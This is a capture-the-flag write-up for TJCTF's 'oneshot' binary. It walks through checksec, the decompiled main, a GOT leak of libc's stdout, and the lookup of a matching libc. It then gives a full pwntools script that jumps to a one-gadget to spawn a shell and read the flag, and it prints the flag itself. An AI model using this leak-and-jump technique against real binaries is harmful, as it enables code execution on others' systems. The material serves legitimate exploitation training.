Description
One plus one is done. `nc p.tjctf.org 8015`
oneshot
Resolution
This challenge was part of the TJCTF, we are given a binary.
As for any exploit/pwn challenge, let’s start with a static analysis:
laxa:~:13:25:25$ file oneshot oneshot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f47e8affd747e88e802f33895cf1619e86de1b59, not stripped laxa:~:13:25:27$ checksec --file oneshot RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH oneshot
Let’s take a look at what is the binary doing:
laxa:~:13:26:30$ ./oneshot Read location? 6294304 Value: 0x00007f0cea4892a0 Jump location? 6294304 Good luck! Segmentation fault laxa:~:13:26:34$
And look through the disassembled code in IDA:
int __cdecl main(int argc, const char **argv, const char **envp) { int (__fastcall *v4)(signed __int64); // [sp+8h] [bp-8h]@1 setbuf(stdout, 0LL); puts("Read location?"); __isoc99_scanf(4196211LL, &v4); printf("Value: 0x%016lx\n", *(_QWORD *)v4); puts("Jump location?"); __isoc99_scanf(4196211LL, &v4); puts("Good luck!"); return v4(4196247LL); }
Sooooo, we can dump any value of the program and then jump at any location. The remote host has ASLR enabled also.
Since the binary is an ELF64, the only option that comes to my mind is to find and use the magic gadget.
To find out a libc address, let’s take a look at the .got:
0x600ae0 <setbuf@got.plt>: 0x0000000000400506 0x0000000000400516 0x600af0 <__libc_start_main@got.plt>: 0x00007ffff7a52a50 0x0000000000400536 0x600b00 <__isoc99_scanf@got.plt>: 0x0000000000400546 0x0000000000000000 0x600b10: 0x0000000000000000 0x0000000000000000 0x600b20 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd72a0 0x0000000000000000
From now, we will use 0x600b20 (6294304 in decimal) to dump a libc address which corresponds to the stdout. To get the corresponding offset in any libc, just do like that:
laxa:~:13:31:48$ objdump -D /lib/x86_64-linux-gnu/libc-2.19.so | grep stdout 69715: 48 3b 1d f4 cf 33 00 cmp 0x33cff4(%rip),%rbx # 3a6710 <stdout> 6b99c: 48 8b 1d 6d ad 33 00 mov 0x33ad6d(%rip),%rbx # 3a6710 <stdout> 6b9ff: 48 8b 3d 0a ad 33 00 mov 0x33ad0a(%rip),%rdi # 3a6710 <stdout> 6ba3c: 48 8b 3d cd ac 33 00 mov 0x33accd(%rip),%rdi # 3a6710 <stdout> 6d311: 48 8b 1d f8 93 33 00 mov 0x3393f8(%rip),%rbx # 3a6710 <stdout> 6d372: 48 8b 3d 97 93 33 00 mov 0x339397(%rip),%rdi # 3a6710 <stdout> 6d492: 48 8b 3d 77 92 33 00 mov 0x339277(%rip),%rdi # 3a6710 <stdout> 6d4d1: 48 8b 1d 38 92 33 00 mov 0x339238(%rip),%rbx # 3a6710 <stdout> 6d532: 48 8b 3d d7 91 33 00 mov 0x3391d7(%rip),%rdi # 3a6710 <stdout> 6d640: 48 8b 15 c9 90 33 00 mov 0x3390c9(%rip),%rdx # 3a6710 <stdout> 6f2f7: 48 8b 2d 12 74 33 00 mov 0x337412(%rip),%rbp # 3a6710 <stdout> 6f358: 48 8b 3d b1 73 33 00 mov 0x3373b1(%rip),%rdi # 3a6710 <stdout> 752a7: 48 8b 2d 62 14 33 00 mov 0x331462(%rip),%rbp # 3a6710 <stdout> 75308: 48 8b 3d 01 14 33 00 mov 0x331401(%rip),%rdi # 3a6710 <stdout> 00000000003a62a0 <_IO_2_1_stdout_>: 00000000003a6710 <stdout>:
The offset we are interested in is 0x3a62a0.
To find the magic gadget, I used this article, that was easy to find on my local system and I had a working exploit pretty quickly. But finding the remote library wasn’t that easy.
The formula to calculate the address of the magic is as follow:
magicGadget = stdoutLeaked – stdoutOffset + magicGadgetOffset
Let the hunt begin for the correct libc, here is a tool that was used to help me search all libcs: https://github.com/niklasb/libc-database
A few hints that I learned while searching is that, the lowest 3 bytes of the leaked address are always the same, I knew that the remote host stdout was finishing with 400, if we do that with some other addresses of the libc and make them correspond to libc we are testing, we can pretty accurately find the good one.
Libc used was: https://launchpad.net/ubuntu/trusty/amd64/libc6/2.19-0ubuntu6.6
And the final exploit is:
#!/usr/bin/python from pwn import * import time magicOffset = 0x000e681d # lib used: https://launchpad.net/ubuntu/trusty/amd64/libc6/2.19-0ubuntu6.6 stdoutOffset = 0x3bf400 stdoutInGot = 0x600b20 r = remote("p.tjctf.org", 8015) #r = process("./oneshot") r.recvuntil("location?\n") r.sendline(str(stdoutInGot)) r.recvuntil("Value: ") addr = r.recvline() log.info("Got libc address: " + addr) magic = int(addr, 16) - stdoutOffset + magicOffset log.info("MagicGadget address is: " + hex(magic)) r.recvuntil("location?\n") r.sendline(str(magic)) r.recvuntil("luck!\n") r.sendline("cat flag.txt") print r.recvline(), r.close()
Running it gives us:
laxa:~:13:38:37$ ./oneshot.py [+] Opening connection to p.tjctf.org on port 8015: Done [*] Got libc address: 0x00007f283557d400 [*] MagicGadget address is: 0x7f28352a481d tjctf{m4gic_And_m0re_Mag1cK} [*] Closed connection to p.tjctf.org port 8015
Flag is: tjctf{m4gic_And_m0re_Mag1cK}